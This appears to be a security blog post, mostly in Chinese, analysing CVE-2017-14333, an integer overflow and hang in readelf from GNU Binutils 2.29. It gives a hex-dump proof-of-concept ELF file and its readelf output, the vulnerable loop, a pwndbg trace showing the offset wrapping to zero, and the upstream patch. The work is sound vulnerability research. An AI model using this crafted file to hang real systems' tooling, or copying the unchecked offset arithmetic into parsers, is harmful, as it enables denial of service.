26 Feb 2020

CVE-2017-14333

CVE-2017-14333

资料链接

  • GNU Binutils:https://www.gnu.org/software/binutils/
  • Release: http://ftp.gnu.org/gnu/binutils/
  • CVE-2019-1010204:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14333

CVE-2017-14333

The process_version_sections function in readelf.c in GNU Binutils 2.29 allows attackers to cause a denial of service (Integer Overflow, and hang because of a time-consuming loop) or possibly have unspecified other impact via a crafted binary file with invalid values of ent.vn_next, during "readelf -a" execution.

readelf

Displays information from any ELF format object file.

gold

A new, faster, ELF only linker, still in beta test.

复现

PoC

7F 45 4C 46 00 02 00 00 00 00 00 00 00 00 00 40
00 00 00 00 00 2A 00 00 00 00 FF EA 00 01 00 00
00 00 00 00 00 3D 00 00 00 40 00 2B 00 03 00 40
00 05 00 04 00 00 FF F3 00 05 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 00 00 00 00 32 01 13 00 00 00 00 00 32 00 FF
F3 00 00 00 00 00 00 1F F3 11 00 00 00 01 B2 01
00 06 00 00 00 34 22 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF 80
00 00 00 A7 27 27 27 27 27 27 27 27 00 00 00 00
00 20 00 00 6F FF FF FE 00 00 FA 00 00 FA 00 E8
00 00 00 00 00 00 00 E8 00 00 00 00 00 16 00 00
FF FE 00 00 FA 00 00 00 00 17 17 17 17 17 17 17
00 3B 73 4D 99 00 80 FF FF 01 78 C5 B5 2E 7E 6C
F2 73 E3 10 FF 00 00 03 00 BA 09 00 08 00 B9 34
01 60 00 BB 01 00 00 00 00 00 CD 80 00 00 48 01
20 57 6F 73 74 72 74 61 62 00 2E 6E 6F 74 65 2E
67 6E 75 2E 62 75 69 6C 64 2D 69 64 00 20 74 65
78 00 00 00 00 00 00 E2 23 00 00 00 00 00 00 00
00 00 00 00 3D 01 08 00 00 00 00 00 2A 00 00 00
readelf -a readelf_hang.elf
ELF Header:
  Magic:   7f 45 4c 46 00 02 00 00 00 00 00 00 00 00 00 40
  Class:                             none
  Data:                              2's complement, big endian
  Version:                           0
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              NONE (None)
  Machine:                           None
  Version:                           0x2a0000
  Entry point address:               0xffea
  Start of program headers:          65536 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x3d0000
  Size of this header:               64 (bytes)
  Size of program headers:           43 (bytes)
  Number of program headers:         3
  Size of section headers:           64 (bytes)
  Number of section headers:         5
  Section header string table index: 4
readelf: Warning: The e_shentsize field in the ELF header is larger than the size of an ELF section header
readelf: Warning: Section 0 has an out of range sh_link value of 65514
readelf: Warning: Section 2 has an out of range sh_link value of 4077977600
readelf: Warning: Section 3 has an out of range sh_link value of 167

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
readelf: Warning: [ 0]: Unexpected value (65536) in info field.
readelf: Warning: Size of section 0 is larger than the entire file!
  [ 0] <corrupt>         00020000: <unkn 00000040 000000 2a0000 3d0000     65514 65536  0
readelf: Warning: section 0: sh_link value of 65514 is larger than the number of sections
  [ 1] <corrupt>         00030040: <unkn 0000fff3 050000 000000 40 Xxx  0   0  0
readelf: Warning: [ 2]: Unexpected value (111105) in info field.
  [ 2] ^ELF             00320113: <unkn 003200ff f3000000 00001f 342200     4077977600 111105 393216
readelf: Warning: section 2: sh_link value of 4077977600 is larger than the number of sections
readelf: Warning: [ 3]: Unexpected value (656877351) in info field.
  [ 3] ^ELF             NULL            00000000 000000 ffffff80 00     167 656877351 656877351
readelf: Warning: section 3: sh_link value of 167 is larger than the number of sections
readelf: Warning: [ 4]: Link field (0) should index a string section.
  [ 4] <corrupt>         VERNEED         00fa00e8 000000 0000e8 fa000000 GCxxxx  0 1441792 4294836224
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

There are no section groups in this file.
readelf: Warning: The e_phentsize field in the ELF header is larger than the size of an ELF program header
readelf: Error: Reading 129 bytes extends past end of file for program headers

There is no dynamic section in this file.

There are no relocations in this file.

The decoding of unwind sections for machine type None is not currently supported.

Version needs section '<corrupt>' contains 1441792 entries:
 Addr: 0x0000000000fa00e8  Offset: 00000000  Link: 0 (<corrupt>)
  000000: Version: 32581  File: 20000  Cnt: 19526
  000000:   Name index: 0  Flags: WEAK  Version: 0
  0x0040:   Name index: 0  Flags: none  Version: 0
  0x0080:   Name index: 0  Flags: none  Version: 0
readelf: Warning: Missing Version Needs auxillary information
  0x0040: Version: 0  File: 0  Cnt: 0
  0x0080: Version: 0  File: 0  Cnt: 0
readelf: Warning: Missing Version Needs information
readelf: Warning: The e_phentsize field in the ELF header is larger than the size of an ELF program header
readelf: Error: Reading 129 bytes extends past end of file for program headers

源码

	    for (idx = cnt = 0; cnt < section->sh_info; ++cnt)
	      {
		Elf_External_Verneed * entry;
		Elf_Internal_Verneed ent;
		unsigned int isum;
		int j;
		char * vstart;

		if (idx > (size_t) (endbuf - (char *) eneed))
		  break;

		vstart = ((char *) eneed) + idx;
		if (vstart + sizeof (*entry) > endbuf)
		  break;

		entry = (Elf_External_Verneed *) vstart;

		ent.vn_version = BYTE_GET (entry->vn_version);
		ent.vn_cnt     = BYTE_GET (entry->vn_cnt);
		ent.vn_file    = BYTE_GET (entry->vn_file);
		ent.vn_aux     = BYTE_GET (entry->vn_aux);
		ent.vn_next    = BYTE_GET (entry->vn_next);

		printf (_("  %#06x: Version: %d"), idx, ent.vn_version);

		if (VALID_DYNAMIC_NAME (ent.vn_file))
		  printf (_("  File: %s"), GET_DYNAMIC_NAME (ent.vn_file));
		else
		  printf (_("  File: %lx"), ent.vn_file);

		printf (_("  Cnt: %d\n"), ent.vn_cnt);

		/* Check for overflow.  */
		if (ent.vn_aux > (size_t) (endbuf - vstart))
		  break;
		vstart += ent.vn_aux;

		for (j = 0, isum = idx + ent.vn_aux; j < ent.vn_cnt; ++j)
		  {
		    Elf_External_Vernaux * eaux;
		    Elf_Internal_Vernaux aux;

		    if (vstart + sizeof (*eaux) > endbuf)
		      break;
		    eaux = (Elf_External_Vernaux *) vstart;

		    aux.vna_hash  = BYTE_GET (eaux->vna_hash);
		    aux.vna_flags = BYTE_GET (eaux->vna_flags);
		    aux.vna_other = BYTE_GET (eaux->vna_other);
		    aux.vna_name  = BYTE_GET (eaux->vna_name);
		    aux.vna_next  = BYTE_GET (eaux->vna_next);

		    if (VALID_DYNAMIC_NAME (aux.vna_name))
		      printf (_("  %#06x:   Name: %s"),
			      isum, GET_DYNAMIC_NAME (aux.vna_name));
		    else
		      printf (_("  %#06x:   Name index: %lx"),
			      isum, aux.vna_name);

		    printf (_("  Flags: %s  Version: %d\n"),
			    get_ver_flags (aux.vna_flags), aux.vna_other);

		    /* Check for overflow.  */
		    if (aux.vna_next > (size_t) (endbuf - vstart)
			|| (aux.vna_next == 0 && j < ent.vn_cnt - 1))
		      {
			warn (_("Invalid vna_next field of %lx\n"),
			      aux.vna_next);
			j = ent.vn_cnt;
			break;
		      }
		    isum   += aux.vna_next;
		    vstart += aux.vna_next;
		  }

		if (j < ent.vn_cnt)
		  warn (_("Missing Version Needs auxillary information\n"));

		if (ent.vn_next == 0 && cnt < section->sh_info - 1)
		  {
		    warn (_("Corrupt Version Needs structure - offset to next structure is zero with entries still left to be processed\n"));
		    cnt = section->sh_info;
		    break;
		  }
		idx += ent.vn_next;
	      }

idx += ent.vn_next;存在整数溢出使idx为0

if (idx > (size_t) (endbuf - (char *) eneed)) 无法break

循环执行section->sh_info次结束

Elf32_Word	vn_next;		/* Offset in bytes to next verneed

Elf64_Word	vn_next;		/* Offset in bytes to next verneed

vn_next是下一个verneed到当前verneed的偏移量

环境

uname -a                          
Linux ubuntu 4.15.0-58-generic #64~16.04.1-Ubuntu SMP Wed Aug 7 14:10:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

./readelf -v                 
GNU readelf (GNU Binutils) 2.29
Copyright (C) 2017 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or (at your option) any later version.
This program has absolutely no warranty.

触发

./readelf -a readelf_hang.elf

2

pwndbg> break *0x410504
pwndbg> break *0x4104f8

0x410504 <process_version_sections+1204>    cmp    qword ptr [rsp + 0x60], rbx

0x4104f8 <process_version_sections+1192>    add    dword ptr [rsp + 0x30], edx

  • 第一次循环

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp + 0x30
    0x7fffffffda50:	0x0000000000000000	0x00007fff00000001
    

    idx = 0

    (size_t) (endbuf - (char *) eneed) = 0

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp+0x30
    0x7fffffffda50:	0x0000000000000000	0x00007fff00000001
    pwndbg> print $edx
    $5 = 64
    

    idx = 0

    ent.vn_next = 0x40

    idx += ent.vn_next

    idx = 0x40

  • 第二次循环

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp + 0x30
    0x7fffffffda50:	0x0000000000000040	0x00007fff00000002
    

    idx = 0x40

    (size_t) (endbuf - (char *) eneed) = 0x40

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp+0x30
    0x7fffffffda50:	0x0000000000000040	0x00007fff00000002
    pwndbg> print $edx
    $6 = 64
      
    

    idx = 0x40

    ent.vn_next = 0x40

    idx += ent.vn_next

    idx = 0x80

  • 第三次循环

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp + 0x30
    0x7fffffffda50:	0x0000000000000080	0x00007fff00000003
      
    

    idx = 0x80

    (size_t) (endbuf - (char *) eneed) = 0x40

    pwndbg> x/10gx $rsp+0x30
    0x7fffffffda50:	0x0000000000000080	0x00007fff00000003
      
    pwndbg> print $edx
    $7 = -128
      
     RDX  0xffffff80
    

    idx = 0x80

    ent.vn_next = 0xffffff80

    idx += ent.vn_next

    idx = 0x100000000 溢出

    idx = 0

  • 第四次循环

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp + 0x30
    0x7fffffffda50:	0x0000000000000000	0x00007fff00000004
      
    

    idx = 0

    (size_t) (endbuf - (char *) eneed) = 0

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp+0x30
    0x7fffffffda50:	0x0000000000000000	0x00007fff00000004
      
    pwndbg> print $edx
    $8 = 64
      
    

    idx = 0

    ent.vn_next = 0x40

    idx += ent.vn_next

    idx = 0

  • 第五次循环

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp + 0x30
    0x7fffffffda50:	0x0000000000000040	0x00007fff00000005
      
    

    idx = 0x40

    (size_t) (endbuf - (char *) eneed) = 0x40

    pwndbg> x/10gx $rsp+0x30
    0x7fffffffda50:	0x0000000000000040	0x00007fff00000005
      
    pwndbg> print $edx
    $8 = 64
    

    idx = 0x40

    ent.vn_next = 0x40

    idx += ent.vn_next

    idx = 0x80

  • 第六次循环

    Breakpoint *0x4104f8
    pwndbg> x/10gx $rsp + 0x30
    0x7fffffffda50:	0x0000000000000080	0x00007fff00000006
    

idx = 0x80

(size_t) (endbuf - (char *) eneed) = 0x80

  pwndbg> x/10gx $rsp+0x30
  0x7fffffffda50:	0x0000000000000080	0x00007fff00000006
  
  pwndbg> print $edx
  $10 = -128
  
   RDX  0xffffff80

idx = 0x80

ent.vn_next = 0xffffff80

idx += ent.vn_next

idx = 0x100000000 溢出

idx = 0

补丁

--- a/binutils/readelf.c
+++ b/binutils/readelf.c
@@ -10153,9 +10153,9 @@ process_version_sections (FILE * file)
        case SHT_GNU_verdef:
          {
            Elf_External_Verdef * edefs;
-           unsigned int idx;
-           unsigned int cnt;
-           unsigned int end;
+           unsigned long idx;
+           unsigned long cnt;
+           unsigned long end;
            char * endbuf;
 
            found = TRUE;
@@ -10187,13 +10187,9 @@ process_version_sections (FILE * file)
                Elf_Internal_Verdef ent;
                Elf_External_Verdaux * eaux;
                Elf_Internal_Verdaux aux;
-               unsigned int isum;
+               unsigned long isum;
                int j;
 
-               /* Check for very large indices.  */
-               if (idx > (size_t) (endbuf - (char *) edefs))
-                 break;
-
                vstart = ((char *) edefs) + idx;
                if (vstart + sizeof (*edef) > endbuf)
                  break;
@@ -10208,15 +10204,16 @@ process_version_sections (FILE * file)
                ent.vd_aux     = BYTE_GET (edef->vd_aux);
                ent.vd_next    = BYTE_GET (edef->vd_next);
 
-               printf (_("  %#06x: Rev: %d  Flags: %s"),
+               printf (_("  %#06lx: Rev: %d  Flags: %s"),
                        idx, ent.vd_version, get_ver_flags (ent.vd_flags));
 
                printf (_("  Index: %d  Cnt: %d  "),
                        ent.vd_ndx, ent.vd_cnt);
 
-               /* Check for overflow and underflow.  */
-               if (ent.vd_aux + sizeof (* eaux) > (size_t) (endbuf - vstart)
-                   || (vstart + ent.vd_aux < vstart))
+               /* Check for overflow.  */
+               if (vstart + sizeof (*eaux) > endbuf)
+                 break;
+               if (ent.vd_aux > (size_t) (endbuf - (vstart + sizeof (*eaux))))
                  break;
 
                vstart += ent.vd_aux;
@@ -10250,10 +10247,10 @@ process_version_sections (FILE * file)
                    aux.vda_next = BYTE_GET (eaux->vda_next);
 
                    if (VALID_DYNAMIC_NAME (aux.vda_name))
-                     printf (_("  %#06x: Parent %d: %s\n"),
+                     printf (_("  %#06lx: Parent %d: %s\n"),
                              isum, j, GET_DYNAMIC_NAME (aux.vda_name));
                    else
-                     printf (_("  %#06x: Parent %d, name index: %ld\n"),
+                     printf (_("  %#06lx: Parent %d, name index: %ld\n"),
                              isum, j, aux.vda_name);
                  }
 
@@ -10262,7 +10259,7 @@ process_version_sections (FILE * file)
 
                /* PR 17531:
                   file: id:000001,src:000172+005151,op:splice,rep:2.  */
-               if (idx + ent.vd_next < idx)
+               if (ent.vd_next > (size_t) (endbuf - ((char *) edefs + idx)))
                  break;
 
                idx += ent.vd_next;
@@ -10278,8 +10275,8 @@ process_version_sections (FILE * file)
        case SHT_GNU_verneed:
          {
            Elf_External_Verneed * eneed;
-           unsigned int idx;
-           unsigned int cnt;
+           unsigned long idx;
+           unsigned long cnt;
            char * endbuf;
 
            found = TRUE;
@@ -10305,13 +10302,10 @@ process_version_sections (FILE * file)
              {
                Elf_External_Verneed * entry;
                Elf_Internal_Verneed ent;
-               unsigned int isum;
+               unsigned long isum;
                int j;
                char * vstart;
 
-               if (idx > (size_t) (endbuf - (char *) eneed))
-                 break;
-
                vstart = ((char *) eneed) + idx;
                if (vstart + sizeof (*entry) > endbuf)
                  break;
@@ -10324,7 +10318,7 @@ process_version_sections (FILE * file)
                ent.vn_aux     = BYTE_GET (entry->vn_aux);
                ent.vn_next    = BYTE_GET (entry->vn_next);
 
-               printf (_("  %#06x: Version: %d"), idx, ent.vn_version);
+               printf (_("  %#06lx: Version: %d"), idx, ent.vn_version);
 
                if (VALID_DYNAMIC_NAME (ent.vn_file))
                  printf (_("  File: %s"), GET_DYNAMIC_NAME (ent.vn_file));
@@ -10354,10 +10348,10 @@ process_version_sections (FILE * file)
                    aux.vna_next  = BYTE_GET (eaux->vna_next);
 
                    if (VALID_DYNAMIC_NAME (aux.vna_name))
-                     printf (_("  %#06x:   Name: %s"),
+                     printf (_("  %#06lx:   Name: %s"),
                              isum, GET_DYNAMIC_NAME (aux.vna_name));
                    else
-                     printf (_("  %#06x:   Name index: %lx"),
+                     printf (_("  %#06lx:   Name index: %lx"),
                              isum, aux.vna_name);
 
                    printf (_("  Flags: %s  Version: %d\n"),
@@ -10379,9 +10373,10 @@ process_version_sections (FILE * file)
                if (j < ent.vn_cnt)
                  warn (_("Missing Version Needs auxillary information\n"));
 
-               if (ent.vn_next == 0 && cnt < section->sh_info - 1)
+               if (ent.vn_next > (size_t) (endbuf - ((char *) eneed + idx))
+                   || (ent.vn_next == 0 && cnt < section->sh_info - 1))
                  {
-                   warn (_("Corrupt Version Needs structure - offset to next structure is zero with entries still left to be processed\n"));
+                   warn (_("Invalid vn_next field of %lx\n"), ent.vn_next);
                    cnt = section->sh_info;
                    break;
                  }

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).